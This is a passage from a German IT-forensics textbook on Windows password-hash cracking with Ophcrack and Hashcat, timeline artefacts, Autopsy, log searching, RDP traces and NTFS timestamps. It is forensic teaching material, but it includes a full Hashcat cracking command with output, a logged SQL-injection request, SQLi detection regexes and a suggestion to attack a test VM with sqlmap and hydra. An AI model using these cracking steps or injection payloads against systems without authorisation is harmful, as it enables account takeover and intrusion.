Windows Userpasswörter knacken Oftmals kann es vorkommen, dass wir aus einem Dump Userpasswörter extrahieren müssen um beispielsweise auf das System später zugreifen zu können. Aus eigener Erfahrung weiß ich, dass auch oft bei der Polizei eine Sicherstellung nicht immer optimal läuft - Systeme werden heruntergefahren und damit Beweise vernichtet, ein Dump des volatilen Speichers wird nicht gemacht, usw. Daher bleibt uns oftmals nur der Weg die Passwörter nachträglich zu knacken. Einen Passwort-Hash können wir aus der Registry extrahieren. Dazu nutzen wir ein Tool namens Ophcrack (https://ophcrack.sourceforge.io/). Klicken Sie auf Load -> Encryped SAM: Danach werden die Hash-Werte aller User extrahiert: 195
Dieses Tool arbeitet mit sogenannten Rainbowtables. Das sind quasi Tabellen mit vorab berechneten Hash-Werten und Klartextpasswörtern, die dann nur noch abgeglichen werden müssen. Dadurch müssen wir die Hashwerte nur einmal berechnen und nicht bei jedem Versuch Passwörter zu knacken. Außerdem gibt es zu diesem Tool bereits einige fertige Rainbowtables. Diese müssen wir nur herunterladen und nicht einmal selbst berechnen! Nachdem wir diese Heruntergeladen und alle zu einer Rainbowtable gehörenden Dateien in einem Ordner abgelegt haben, können wir diese Ordner über den Button Tables verwalten. Markieren Sie die entsprechende Zeile und klicken Sie auf Installieren um den Ordner auszuwählen: Außerdem können Sie die Reihenfolge der zu probierenden Tabellen anpassen und einzelne Rainbowtables deaktivieren oder aktivieren. Dann können wir mit einem Klick auf Crack die Passwörter suchen: 196
Hier sehen wir, dass Administrator, Guest und Mr. Evil ein leeres Passwort haben. Die Passwörter für die zwei anderen konnten nicht geknackt werden. Wenn wir ein Systempasswort suchen interessiert uns nur die Spalte NT Pwd! Das Knacken von komplexen Passwörtern kann recht lange dauern. In letzter Zeit nutzt man eher Grafikkarten zum Knacken von Passwörtern da Prozessoren der Grafikkarten deutlich schneller sind bei derartigen Hash-Berechnungen. Dazu nutzen wir ein Tool namens Hashcat, welches Sie von folgender Webseite herunterladen können: https://hashcat.net/hashcat/ Dann brauchen wir noch eine sogenannte Wortliste mit möglichen Passwörtern, die wir durchprobieren wollen. Ich nutze hier gern die Wortlisten: > rockyou.txt > leaks_combined.txt (https://sourceforge.net/projects/wordlist-collection/files/) Natürlich können wir mit Hashcat auch einen Bruteforce-Angriff mit einem bestimmten Muster versuchen, dieser wird aber bei einem entsprechend guten Passwort recht lange dauern. Wenn Sie sich dafür interessieren hilft die Dokumentation des Tools weiter. 197
Wenn wir den extrahierten Hash (31d6cfe0d16ae931b73c59d7e0c089c0) von Mr. Evil in eine Datei namens hash.txt speichern können wir loslegen. Hashcat ist ein Kommandozeilentool und wird mit folgendem Befehl ausgeführt: D:\FORENSIK_TOOLS\hashcat-6.2.0>hashcat.exe -m 1000 -a 0 ../hash.txt ../rockyou.txt hashcat (v6.2.0) starting... OpenCL API (OpenCL 1.2 CUDA 8.0.0) - Platform #1 [NVIDIA Corporation] ===================================================================== * Device #1: Quadro 4000, 1664/2048 MB (512 MB allocatable), 8MCU Minimum password length supported by kernel: 0 Maximum password length supported by kernel: 256 Hashes: 1 digests; 1 unique digests, 1 unique salts Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates Rules: 1 Watchdog: Temperature abort trigger set to 90c Host memory required for this attack: 62 MB Dictionary cache built: * Filename..: ../rockyou.txt * Passwords.: 14344391 * Bytes.....: 139921497 * Keyspace..: 14344384 * Runtime...: 3 secs 31d6cfe0d16ae931b73c59d7e0c089c0: Session..........: Status...........: Hash.Name........: Hash.Target......: Time.Started.....: Time.Estimated...: Guess.Base.......: Guess.Queue......: Speed.#1.........: Recovered........: Progress.........: 198 hashcat Cracked NTLM 31d6cfe0d16ae931b73c59d7e0c089c0 Tue May 25 18:54:06 2021 (0 secs) Tue May 25 18:54:06 2021 (0 secs) File (../rockyou.txt) 1/1 (100.00%) 5954.4 kH/s (6.03ms) @ Accel:256 Loops:1 Thr:64 Vec:1 1/1 (100.00%) Digests 131072/14344384 (0.91%)
Rejected.........: Restore.Point....: Restore.Sub.#1...: Candidates.#1....: Hardware.Mon.#1..: Bus:16 0/131072 (0.00%) 0/14344384 (0.00%) Salt:0 Amplifier:0-1 Iteration:0-1 123456 -> koryna Temp: 91c Fan: 84% Util: 19% Core: 950MHz Mem:1404MHz Temperature limit on GPU #1 reached, aborting... Started: Tue May 25 18:53:42 2021 Stopped: Tue May 25 18:54:07 2021 Die Ausgabe 31d6cfe0d16ae931b73c59d7e0c089c0: ist etwas schwerer zu lesen denn hier können wir nicht sehen ob das Passwort aus ein oder mehreren Whitespaces (zB Leerzeichen oder Tabulator) besteht oder einfach nur leer ist. Normalerweise steht hinter dem Doppelpunkt dann das Klartext-Passwort. Dafür sehen wir gut, dass selbst die betagte alte Quadro in meinem HP Z600 mit 5954 kH/s (Kilohashes pro Sekunde) umgerechnet ca. 5,9 Millionen Passwörter pro Sekunde prüfen kann. Meine Forensik-Workstation hat eine GTX1660 verbaut und schafft damit über 11.000 kH/s. Für den gelegentlichen Einsatz reicht das. Kollegen die dies regelmäßig brauchen, haben in eigene Systeme zum Knacken von Passwörtern mit 2-4 GTX1080 bzw. RTX2080 investiert. 199
Timeline-Analyse Timestemps helfen uns IT-Forensikern dabei Daten und Aktionen chronologisch einzuordnen und so den Hergang eines Angriffs oder den Ablauf von bestimmten Aktionen zu rekonstruieren. Dies ist ein wichtiger Teil der forensischen Untersuchung um auch eine Antwort auf die Frage zu finden wann bestimmte Dinge passiert sind. Eine solche Analyse kann die Menge an Daten auch massiv einschränken - wenn ein bestimmtes Ereignis das wir untersuchen an einem konkreten Datum passiert ist, kann es oftmals sein, dass uns nur einige Tage davor oder danach interessieren. Die entsprechenden Daten müssen wir uns aus verschiedenen Orten und mit unterschiedlichen Tools zusammensuchen: Prefetch Files ... existieren in Windows unter C:\Windows\Prefetch und beinhalten Informationen darüber wann ein Programm zum ersten Mal und zum letzten Mal gelaufen ist und welche DLL Dateien es lädt. Der Dateiname setzt sich aus dem Namen der Programmdatei und einem Hash des Programmpfades zusammen. Gibt es also zwei gleichnamige EXE-Dateien in verschiedenen Pfaden dann gibt es auch zwei Prefetch Dateien, was unter anderem bei der Suche nach Schadware hilft! Über die Liste der DLLs kann man auch gut sehen ob ein Programm sich normal verhält oder zusätzliche DLLs aufgrund einer Infektion mit Schadware lädt. Dazu muss man die Daten nur mit denen aus der Prefetch-Datei einer schadwarefreien Kopie der gleichen Version vergleichen. Außerdem sehen wir unter "Run Count" wie oft ein Programm ausgeführt wurde. Event Log ... darin speichert Windows alle möglichen Hardware- und Software-Events wie zB Logins, fehlgeschlagene Logins, System- oder Software Fehler, Veränderungen an der Hardware oder dem System und sehr viele andere Dinge. Auf älteren Systemen finden wir diese Daten unter C:\Windows\system32\config aber ab Vista wird das EVTX-Format (Eventlog XML) verwendet und wir finden die Daten unter C:\Windows\System32\winevt\Logs. 200
Jump Lists ... wurden mit Windows 7 eingeführt und enthalten zuvor mit einer Anwendung geöffnete Dateien mit Pfadangabe, Zeitstempel und einigem mehr. Zu finden sind diese Daten unter: > C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Recent\ AutomaticDestinations\ > C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Recent\ CustomDestinations\ Die Daten sind darin als <HASH>.automaticDestinations-ms bzw. <HASH>. customDestinations-ms Dateien gespeichert. Verknüpfungen ... sind ebenfalls eine gute Quelle für Informationen. Diese kleinen Dateien verweisen nur auf eine Datei, die irgendwo anders liegt aber Sie enthalten eine Fülle an Informationen wie Pfad, Dateiname, Zeitstempel, Seriennummer des Volumes, usw. Abgesehen von Verknüpfungen die der User erstellt, gibt es auch automatisch generierte LNK-Dateien unter (Windows 7 bis 10): > C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Recent\ Shellbags ... enthalten Informationen des Explorers zu angezeigten Spalten, Sortierung, Symbolgröße und vieles mehr für die zuvor geöffneten Ordner. So lassen sich Ordnernamen und Zugriffszeiten von Lokalen Ordnern, Bereichen der Systemsteuerung und auch von Ordnern auf Wechseldatenträgern ermitteln genauso wie IP-Adressen, Freigabenamen und Zugriffszeiten von Netzlaufwerken. Wir finden diese Informationen in der Registry unter: > HKEY_USERS\<USER_ID>\SOFTWARE\Classes\Local Settings\Software\ Microsoft\Windows\Shell\BagMRU > HKEY_USERS\<USER_ID>\SOFTWARE\Classes\Local Settings\Software\ Microsoft\Windows\Shell\Bags > HKEY_USERS\<USER_ID>\SOFTWARE\Microsoft\Windows\Shell\BagMRU > HKEY_USERS\<USER_ID>\SOFTWARE\Microsoft\Windows\Shell\Bags 201
> HKEY_USERS\<USER_ID>_Classes\Local Settings\Software\Microsoft\Windows\ Shell\BagMRU HKEY_USERS\<USER_ID>_Classes\Local Settings\Software\Microsoft\Windows\ > Shell\Bags Wir können damit zumindest den Zeitpunkt des ersten Zugriffs und des letzten Schreibvorgangs ermitteln. Außerdem werden ZIP-Dateien ebenfalls wie Ordner behandelt und daher haben wir die gleichen Informationen auch für diesen Archivtyp. Damit können wir nachweisen, dass ein bestimmter User auf einen Ordner zugegriffen hat auch wenn dieser bereits (sicher) gelöscht wurde. Shellbags werden beim ersten Öffnen eines Ordners oder einer ZIP-Datei erstellt. Wir können dieses Artefakt zB mit Shellbags Explorer von Eric Zimmerman untersuchen: https://ericzimmerman.github.io/#!index.md Der Autor dieses Tools bietet auch einige weitere Tools für die Untersuchung von diversen Artefakten an. Die zuvor genannten sind nur einige wenige Artefakte, die man auf einem Windows-System finden und analysieren kann. Sehen wir uns dazu ein paar Beispiele an um zu sehen was wir finden können und dann werden wir diese Daten zusammenführen zu einem Gesamtbild. Zuerst sehen wir uns wieder ein Tool von NirSoft an - WinPrefetchView erlaubt uns die Analyse von allen Prefetch-Dateien in einem Ordner. Dazu habe ich das Image des "Hacking Case" wieder gemountet. Dann können wir uns den Ordner laden indem wir in WinPrefetchView auf Options -> Advanced Options klicken: 202
Nun müssen wir den Pfad zum Prefetch-Ordner eintragen und mit OK bestätigen: Sobald das passiert ist, sehen wir das folgende Fenster. Darin sind in der oberen Hälfte die Programme eingetragen und wir sehen Dinge wie das Datum an dem Die Prefetch-Datei erstellt wurde, die Anzahl und das Datum der letzten Programmausführung. Außerdem sehen wir noch die von dem Programm in den ersten Sekunden nach dem Start geladenen Dateien im unteren Teil des Programmfensters. Da Prefetch-Dateien auch nach der Deinstallation eines Programms erhalten bleiben, kann man so auch gut sehen ob eine bestimmte Applikation installiert war oder ob ein Programm zB von einem USB-Stick gestartet wurde. 203
Wie üblich ist es wieder möglich die Informationen aus dem Programm herauszukopieren oder in einen HTML-Report zu exportieren. Dazu reicht es Zeilen zu markieren und diese mit rechts anzuklicken: Das nächste Tool können Sie von https://www.mitec.cz/wfa.html herunterladen. 204
Nachdem wir den Windows File Analyzer installiert haben, müssen wir herausfinden wo sich Verknüpfungen auf dem System befinden - dazu habe ich einfach die Windows-Schnellsuche verwendet: Dann können wir eine Datei mit rechts anklicken und wir sehen Folgendes: Diesen Pfad können wir dann in WFA öffnen: 205
Damit werden dann sämtliche Verknüpfungen in diesem Ordner analysiert. Wir sehen in dieser Liste wieder den Pfad, Zugriffszeiten und zB die Seriennummer des Volumes. Dieses Programm können wir auch gleich zur Analyse der Thumbnail-Datenbanken, die Windows und einige andere Tools erstellen, nutzen. Eine der ausführlichsten Quellen ist das Eventlog. Darin finden wir sehr viele Vorgänge die am System erfolgten. Wenn wir auf dem gemounteten Image zu G:\Windows\system32\config navigieren und die Datei SysEvent.Evt öffnen, finden wir Folgendes: 206
Sobald wir die Datei SecEvent.Evt mit einem Doppelklick öffnen, erhalten wir allerdings einen Fehler: Da diese Datei viele relevante Daten enthält wollen wir nun versuchen diese zu reparieren. Dazu sehen wir uns die Daten zuerst in einem Hex-Editor an - ich nutze dazu zB FTK Imager um auch gleich das Datum der letzten Änderung zu sehen: 207
Hierbei fällt sofort auf, dass die Datei nach ein paar Header-Daten nur noch NULBytes enthält. Dem Verdächtigen war eventuell bewusst, dass das Eventlog eventuell Beweise gegen ihn enthält. Wir müssten nun zB klären wer die Daten am 19.08.2004 mit Nullen überschrieben hat. Dies wird auch davon gestützt, dass der Ereignisprotokolldienst mehrmals, zB am 27.08.2004 um 17:46:28 beendet wurde. Wenn wir einige Seiten zurückblättern, dann ist das kurz nach dem Ausführen von Cain & Abel. Wir sollten also nicht sehen was dann passiert. Das bringt uns zu einem anderen Problem - derartige Daten können leicht vom User vernichtet oder manipuliert werden. Sie können also nicht alles was Sie auf einem System finden als wahrheitsgemäß oder vollständig ansehen und müssen entsprechende Informationen kritisch hinterfragen und nachprüfen. Für weitergehende Informationen zu diesem Thema lege ich Ihnen das folhttps://apps.nsa.gov/iaarchive/library/iagende PDF ans Herz: guidance/security-configuration/applications/assets/public/upload/Spotting-the-Adversary-with-Windows-Event-Log-Monitoring.pdf 208
Amcahe / Shimcache Weitere Artefakte die zB auf eine Programmausführung schließen lassen finden wir ab Windows 7 unter C:\Windows\AppCompat\Programs: > RecentFileCache.bef (Nur bis Windows 8) > Amcache.hve (Registry Hive mit einigen Informationen mehr als im Shimcache) Von Windows XP bzw. Windows 2000 bis Windows 7 finden wir diese Datein in der Registry unter: > HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\ > AppCompatibility (Windows XP, 2000) > HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\ AppCompatCache (Windows 2003 und später) Die RecentFileCache.bef kann mit dem RecentFileCache Parser von Eric Zimmerman ausgewertet werden. Die Artefakte des App Compatibility Cache, die auch als Shimcache bekannt sind, sind verfügbar auch wenn Prefetch deaktiviert ist (zB auf einem Server) und lässt sich mit einem Tool namens AppCompatCache Parser (https://ericzimmerman. github.io/#!index.md) untersuchen. zB: AppCompatCacheParser.exe --csv .\ -t -f L:\Case1234\Registry\SYSTEM Um die Daten in eine CSV-Datei (--csv), sortiert nach Zeit der letzten Änderung, im aktuellen Ordner (.\) zu erstellen. Hierbei wird mit -f dann noch der Pfad zu der Datei übergeben. Die Amcache.hve können Sie mit Amcache Parser von Eric Zimmerman verarbeiten. zB: AmcacheParser.exe --csv -i on -f L:\Case1234\AppCompat\Amcache.hve Hierbei legt -i on fest, dass auch Einträge von Programmen inkludiert werden. Der Rest entsprich den Optionen von AppCompatCacheParser.exe. Außerdem gibt es ein Volatility-Plugin das diese Informationen direkt aus einem RAM-Dump parsen kann. Dieses Plugin von Fireeye kann von https://github.com/fireeye/Volatility-Plugins/tree/master/shimcachemem heruntergeladen werden. 209
SRUM (System Resource Utilization Monitor) ... enthält eine ESE Datenbank (Extensible Storage Engine) mit Informationen zur Programmausführung und zum Ressourcenverbrauch. Diese Datenbank finden Sie in der Datei C:\Windows\System\sru\SRUDB.dat welche zB mit SRUM Dump 2 (https://github.com/MarkBaggett/srum-dump) geparst werden kann. Hierbei sind folgende extrahierte Daten interessant: > App Timeline Provider (Informationen zu der Ausführungszeit von Programmen) > Network Data Usage (Informationen welches Programm wie viele Daten empfangen oder verschickt hat und unter welchem Useraccount) > Application Ressource Usage (Informationen zu ausgeführten Programmen wie dem User der es ausgeführt hat und wie lange damit gearbeitet wurde - zB CPU time in Forground. Da der ganze Pfad angezeigt wird, können wir hier auch gut nach Programmen suchen, die von einem ungewöhnlichen Ort ausgeführt werden wie Temp-Verzeichnisse oder USB-Sticks) > Windows Push Notifications (Informationen wann welches Programm eine Push Meldung gesendet hat) Neue Informationen werden zuerst in der Registry unter HKEY_LOCAL_MACHINE\ SOFTWARE\Microsoft\WindowsNT\CurrentVersion\SRUM\Extensions gebuffert und beim Herunterfahren oder periodisch in die SRUDB.dat übertragen. Daran sollte man bei der Erfassung und Auswertung der Daten denken. Eine weitere Option diese Daten zu lesen wäre ESEDatabaseView von NirSoft. Sie sehen aber auch gut, dass wir hier eine Mammutaufgabe vor uns haben, wenn wir alle Daten und Informationen die wir hier finden in eine Timeline verwandeln wollen. Genau da kommen spezielle Programme für IT-Forensik ins Spiel. Diese sind in der Lage diverse Aufgaben zu automatisieren wie zB das Zusammenführen diverser Daten zu einer Timeline. Außerdem bieten mächtige Filterwerkzeuge und Hash-Datenbanken die Möglichkeiten bestimmte Daten zu finden oder auszuschließen. 210
Sehen wir uns dazu zuerst Autopsy (https://www.autopsy.com/) an. Wenn wir das Programm starten erhalten wir folgende Auswahl: Hier wählen wir New Case und gelangen dann zu folgendem Fenster: Hier können wir einen Namen für den Fall (Case name) vergeben und einen BasisOrdner festlegen. 211
Im Basisordner wird dann ein Unterordner für diesen Fall erstellt in dem sich dann die Datenbank mit allen möglichen extrahierten Informationen befindet. Wir haben auch die Möglichkeit festzulegen ob wir alleine (Single-user) oder mit mehreren Forensikern am gleichen Fall (Multi-user) arbeiten wollen. Autopsy ist ein kostenloses Tool, dass einiges bietet. Dennoch ist es nicht mein bevorzugtes Tool, weil mir dann doch die ein oder andere Funktion fehlt. Wer gewillt ist für einige zusätzliche Analysen auf zuvor genannte Tools zurückzugreifen der kann mit Autopsy sehr viele Untersuchungen durchführen. In diesem Schritt können wir die Fall-Nummer sowie Namen und Kontaktdaten des zuständigen Forensikers erfassen. Nach einem Klick auf Finish öffnet sich der Dialog zum Hinzufügen eines Datenträgers oder einer Image-Datei: 212
Hier wählen wir Disk Image or VM File aus und klicken auf Next. 213
Dann können wir die entsprechenden Dateien bzw. die erste Datei eines geteilten Images auswählen. Die Auswahl der Zeitzone ist besonders wichtig, da sonst die ganzen Zeitstempel nicht stimmen. Falls Sie die Zeitzone des Geräts nicht kennen, dann lässt sich diese Information zB über die Windows Registry ermitteln. Sie finden Die Informationen in: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows nes NT\CurrentVersion\Time Zo- Im nächsten Schritt wählen wir die so genannten Ingest-Module aus, die wir laufen lassen wollen: Ingest-Module sind kleine Helfer, die Analysen für Sie Durchführen, Daten extrahieren und zusammenstellen oder nach gelöschten Daten suchen. Hier haben wir zB die Auswahl die letzten Aktivitäten auszuwerten, die Dateien darauf zu prüfen ob die Dateitypen zur Dateinamenserweiterung passen, ExifDaten zu parsen, nach Keywords zu suchen, und vieles mehr. Ein weiterer Vorteil von Forensik-Tools ist die Arbeit mit Hash-Datenbanken. Diese können Hash-Werte für harmlose Dateien oder für bekannte Schadware 214
enthalten. So können wir von unserer Analyse zB alle Daten bekannter Programme und des Betriebssystems an sich ausschließen sofern diese den Einträgen in der Hash-Datenbank entsprechen. Falls manche der Dateien nicht ausgeschlossen werden konnten, haben wir auch gleich einen Punkt an dem wir die Analyse beginnen können. Noch wichtiger ist das Zusammenführen von verschiedenen Daten zu einer Timeline mit der wir alle Ereignisse aus allen Tools zusammengeführt bekommen. Aber das ist auch noch nicht alles - was Autopsy für uns machen kann. Viele weitere Ingest-Module können wir von https://github.com/sleuthkit/ autopsy_addon_modules herunterladen und installieren. Bedenken Sie aber, dass jedes Modul Zeit benötigt um die Daten zu verarbeiten. Sie sollten also nicht immer jedes Modul laufen lassen denn sonst würde das Hinzufügen von großen Images sehr lange dauern. Mit einem Klick auf Finish kommen wir dann in das Hauptfenster von Autopsy: 215
Hier sehen wir dann zB den Browser-Verlauf (oben) oder Dateien, deren Dateierweiterung scheinbar falsch ist (unten): In der Timeline-Ansicht können wir uns Ereignisse des Dateisystems zusammen mit Browserverlauf und diversen anderen Daten zeitlich geordnet ansehen: 216
So haben wir den bestmöglichen Überblick über den Ablauf von Ereignissen. Eine weitere sehr praktische Funktion in Autopsy ist, dass wir das Tool wie einen Dateibrowser nutzen können. Hierbei haben wir aber nicht nur Zugriff auf eine Vorschau der Datei, sondern auch auf die Anzeige in einem Hex-Viewer, extrahierte Strings und Metadaten und einiges mehr. 217
Das letzte Bild zeigt uns beispielsweise das Programm crack.exe aus dem Ordner My Documents\COMMANDS auf vol2 und anhand der extrahierten Strings können wir klar erkennen, dass dies ein Passwortknacker ist. Wenn wir die Datei in der Liste auswählen und im unteren Bereich dann auf Indexed Text klicken sehen wir Folgendes: hR#@ -backwards-case-append-replace-portError: Invalid command line option '%s' CyberCop Scanner v5.5 (c) 1996-1999, Network Associates Inc.%s crack: UNIX and Windows NT password cracker usage: crack [-backwards] [-case] [-append] [-replace] <wordfile> <passfile> wordfile - text file containing a list of possible passwords, one per line passfile - UNIX or NT password file to be cracked -backwards - try words both forwards and backwards -case - try words both upper and lower case (no effect on NT passwords) -append - append numbers to end of word -replace - try common letter replacements Unable to connect to interface crack: UNIX and Windows NT password cracker Copyright 1998-1999, Network Associates Inc.Password file: %sWordlist file: %s :-t &@h#'@ Das ist schon fast eine kleine Analyse von Programmen denn viele enthalten direkt Strings und so kann man darauf schließen was ein Programm macht. Natürlich haben wir diese Möglichkeiten auch für alle anderen Dateitypen. So können wir auch diverse Daten aus Bildern oder anderen Dateiformaten auf diese Weise sehen. Dies bringt uns auch zu einem wichtigen weiteren Punkt. 218
Volltextsuche und reguläre Ausdrücke Die Volltextsuche in Verbindung mit regulären Ausdrücken geht noch ein Stück weiter. Damit können wir nicht nur bestimmte Texte oder Textteile, sondern auch allgemein gültige Muster suchen. So kann man eine IPv4-Adresse zB als 4 Zahlen von 1-255, getrennt durch drei Punkte beschreiben und dies wie folgt als regulären Ausdruck definieren: [0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3} Hierbei stellt [0-9] eine Liste erlaubter Zeichen und {1,3} die Mindest- bzw. Maximalanzahl dar. Der . selbst steht für ein beliebiges Zeichen und wird daher mit \ gequotet. Dieser reguläre Ausdruck bedeutet also 1 bis 3 Ziffern von 0 bis 9 ( [0-9]{1,3}) gefolgt von einem Punkt, gefolgt von 1 bis 3 Ziffern von 0 bis 9, gefolgt von einem Punkt, gefolgt von 1 bis 3 Ziffern von 0 bis 9, gefolgt von einem Punkt und nochmals 1 bis 3 Ziffern von 0 bis 9. Verschiedenste Tools bieten ihnen die Möglichkeiten mit regulären Ausdrücken nach Mustern zu suchen. Je nach Tool kann es kleine Unterschiede in der Syntax oder Besonderheiten bei der Formulierung der regulären Ausdrücke geben. Daher sollen Sie sich die Dokumentation der einzelnen Tools diesbezüglich ansehen! Als Beispiel werden wir uns hier Apache-Logs aus einer hackbaren Test-VM genauer ansehen. Dazu verwenden wir ein Tool namens AstroGrep. Dieses Tool können Sie von http://astrogrep.sourceforge.net/ herunterladen. Nachdem ich das Programm geöffnet hatte, habe ich links oben den Ordner D:\20210707110251-owaspbwa\Content\var\log\apache2 ausgewählt. Dies ist der Ordner in dem die extrahierten Daten aus OWASPBWA abgelegt wurden. Die VM können Sie von https://sourceforge.net/projects/owaspbwa/ herunterladen und zum Testen mit Tools wie sqlmap, dirb und hydra angreifen. Dazu können Sie das WSL mit Kali-Linux verwenden. Als Dateityp stelle ich hier *.* ein um alle Dateien zu durchsuchen und als Suchmuster verwende ich: or\+[0-9]\+*=\+*[0-9] 219
Dies bedeutet so viel wie or gefolgt von einem + Zeichen (damit werden Leerzeichen in der URL-Kodierung dargestellt), gefolgt von einer Ziffer ([0-9]), gefolgt von 0-n + Zeichen (\+*), gefolgt von einem = Zeichen und wieder 0-n + Zeichen sowie einer weiteren Ziffer. In regulären Ausdrücken steht ein + für eine oder beliebig viele Wiederholungen des vorangegangenen Zeichens. Daher wird dieses Zeichen durch den \ gequotet (der Sonderbedeutung beraubt). Damit bedeutet \+ einfach nur das + Zeichen selbst und der * steht dann für keine oder beliebig viele Wiederholungen des vorherigen Zeichens. Damit finden wir beispielsweise or+1=1 oder or+5+=+5 aber nicht or+123=123! Wollen wir beliebig große Ganzzahlen finden, dann müssen wir das Muster wie Folgt anpassen: or\+[0-9]+\+*=\+*[0-9]+ Damit dürfen die Ziffern nun 1-n mal vorkommen... Führen wir diese Suche aus, müssen wir darauf achten, dass die Option reguläre Ausdrücke an der linken Seite aktiviert ist, andernfalls würden wir nach exakt diesem String suchen und keine Ergebnisse finden. Wenn wir die Suche ausführen, erhalten wir eine Liste der Dateien in denen Treffer gefunden wurden. Wenn wir die Datei access.log.14 auswählen, erhalten wir folgende Anzeige: 220
In diesem Beispiel finden wir unter anderem die Anfrage: GET /mutillidae/index.php?page=user-info.php&username='+or+1=1+-+&password=b&user-info-php-submit-button=View+Account+Details Hierbei handelt es sich um einen SQLi-Angriff. Die Log-Datei verrät uns die IPadresse und auch die Uhrzeit. Damit können wir weitersuchen und weitere Aktionen des Angreifers aufdecken. Die Log-Dateien können Sie von https://hackenlernen.com/apache2.zip herunterladen und selber damit herumprobieren. 221
RDP FORENSIK Das Remote Desktop Protokoll (RDP) ist die von Microsoft in Windows integrierte Lösung für den Fernzugriff auf Rechner. Dies ist nützlich für Administratoren um Systeme zu warten, wird aber auch gerne missbraucht. Das Darknet ist voll von RDP-Zugangsdaten die für wenige Euro verkauft werden und dann Cyberkriminellen dazu dienen ihre Identität zu verschleiern oder einen anderen Standort vorzutäuschen um zB Konten bei Diensten in einem bestimmten Land anzulegen. Hierbei nutzt RDP BMP-Dateien innerhalb eines Containers um die Teile des Bildschirms die sich nicht ständig ändern zu cachen. Diese Container finden wir in: C:\Users\<USERNAME>\AppData\Local\Microsoft\Terminal Server Client\Cache Die BMP-Dateien enthalten kleine Teilbereiche des Bildschirms, die dann wie ein Puzzle zusammengesetzt werden können. Leider gibt es kein Tool das dies für uns erledigen kann, da die einzelnen Teile nicht in einer bestimmten Reihenfolge geschrieben werden. Die einzelnen BMP-Dateien können mit dem Opensource Script BMC-Tools (https://github.com/ANSSI-FR/bmc-tools) aus den .dat bzw. .bmc Containern extrahiert werden. Hierbei können schnell einige tausend "Puzzleteile" extrahiert werden, die wir dann wieder zu verschiedenen Teilbildern zusammensetzen können. Ein erhebliches Problem hierbei ist, dass wir oftmals bei den Teilbildern nicht genau sagen können ob diese ein Bild auf einer betrachteten Webseite oder ein ausgeführtes Programm darstellen. Daher sind diese Daten oftmals nicht die Aussagekräftigsten. Dennoch können uns diese Daten bei einer Untersuchung die richtige Richtung weisen. Am System zu dem eine RDP-Verbindung aufgebaut wird finden sich im Eventlog von Windows verschiedenste Einträge für die unterschiedlichsten Ereignisse wie zB: 222
> Erfolgreicher Login 1149 (Event ID Microsoft-Windows-TerminalServicesaus der RemoteConnectionManager/Operational.evtx, Event ID 4624 mit Typ 10 aus der 21 und 22 aus der Datei MicrosoftDatei Security.evtx und Event ID Windows-TerminalServices-LocalSessionManager/Operational.evtx) > Fehlgeschlagener Login (Event ID 1149 aus der Microsoft-Windows-TerminalServicesRemoteConnectionManager/Operational.evtx, Event ID 4625 mit Typ 10 aus der Datei Security.evtx) > Reconnect (Event ID 4624 oder 4625 mit Typ 7 aus der Datei Security.evtx je nachdem ob der Login erfolgreich war oder nicht, Event ID 4778 aus der Datei Security.evtx, Event ID 1149 aus der Datei Microsoft-WindowsTerminalServices-RemoteConnectionManager/Operational.evtx und Event ID 25 und 40 aus der Datei Microsoft-Windows-TerminalServicesLocalSessionManager/Operational.evtx) > Disconnect (Event ID 4779 oder 4634 aus der Datei Security.evtx und Event ID 24, 39 und 40 aus der Datei Microsoft-Windows-TerminalServices-LocalSessionManager/Operational.evtx) > Logoff (Event ID 4634 mit Typ 10 oder 7 und 4647 aus der Datei Security.evtx, Event ID 9009 aus der Datei System.evtx und Event ID 23 aus der Datei MicrosoftWindows-TerminalServices-LocalSessionManager/Operational.evtx) > usw. Aufmerksame Leser werden sich wundern, dass in der Microsoft-WindowsTerminalServices-RemoteConnectionManager/Operational.evtx das Event 1149 sowohl für erfolgreiche als auch fehlgeschlagene Logins verwendet wird. Eigentlich wird bei diesem Event nur die erfolgreiche Verbindung vor der Passwortabfrage geloggt. Daher muss anhand weiterer Spuren geprüft werden ob der Login-Versuch erfolgreich war! Viele Angreifer denken daran die Security.evtx zu löschen, vergessen aber die anderen Logdateien! Gleichzeitig Sehen Sie aber auch wie verstreut und unübersichtlich die Informationen in den Eventlogs sind. 223
Dies es Kapitel soll an dieser Stelle auch stellvertretend für verschiedenste andere Programme stehen, die temporäre Dateien und andere Artefakte hinterlassen die man in einer Untersuchung auswerten kann. Darum ist es in der IT-Forensik auch sehr hilfreich, wenn man auf ein entsprechendes Netzwerk zurückgreifen kann in dem Wissen und Erfahrungen ausgetauscht werden denn niemand kann sich mit zehntausenden Programmen und deren Hinterlassenschaften beschäftigen. 224
225
NTFS GENAUER BETRACHTET NTFS ist seit längerem das Standard-Dateisystem für viele Windows Versionen und ein sehr robustes und komplexes Dateisystem das viele verschiedene Metadaten speichert. Ein großer Teil davon ist für eine forensische Untersuchung eines Systems interessant. Wie wir bereits gelernt haben sind Dateisysteme quasi Datenbanken in denen Metadaten (Daten über Daten) gespeichert werden. Daher wollen wir uns an dieser Stelle einige dieser Metadaten genauer ansehen. 226
MAC Timestamps MAC steht hierbei für Modification, Access und Creation - also die Zeitstempel der Veränderung, des letzten Zugriffs und der Erstellung. Darüber hinaus wird aber auch noch der Zeitpunkt der Änderungen an Dateisystem-Einträgen gespeichert. Hierbei spricht man auch oft von MACB Timestamps wobei die Buchstaben folgendes bedeuten: M = Modification (Änderung) A = Access (Zugriff) C = MFT Record Change (Änderung des MFT Eintrags) B = Birth (Erstellung) Ein weiterer Name dafür wären MACE Timestamps (Modified, Accessed, Created und Entry modiefied). Bedenken Sie an dieser Stelle auch was wir zuvor gelernt haben - die Aktualisierung der Access-Timestamps kann in der Registry deaktiviert sein! Die Abkürzung MFT steht für Master File Table und entsprich der versteckten Datei $MFT die alle Dateien, deren Zeitstempel und Dinge wie Besitzer, Zugriffsrechte, etc. beinhaltet. Wenn eine Datei klein genug ist, wird kein eigener Cluster dafür benutzt, sondern die Datei wird direkt im MFT-Eintrag angehängt (Resident File). Insgesamt gibt es sogar 12 eingetragene Zeitstempel zu einer Datei. 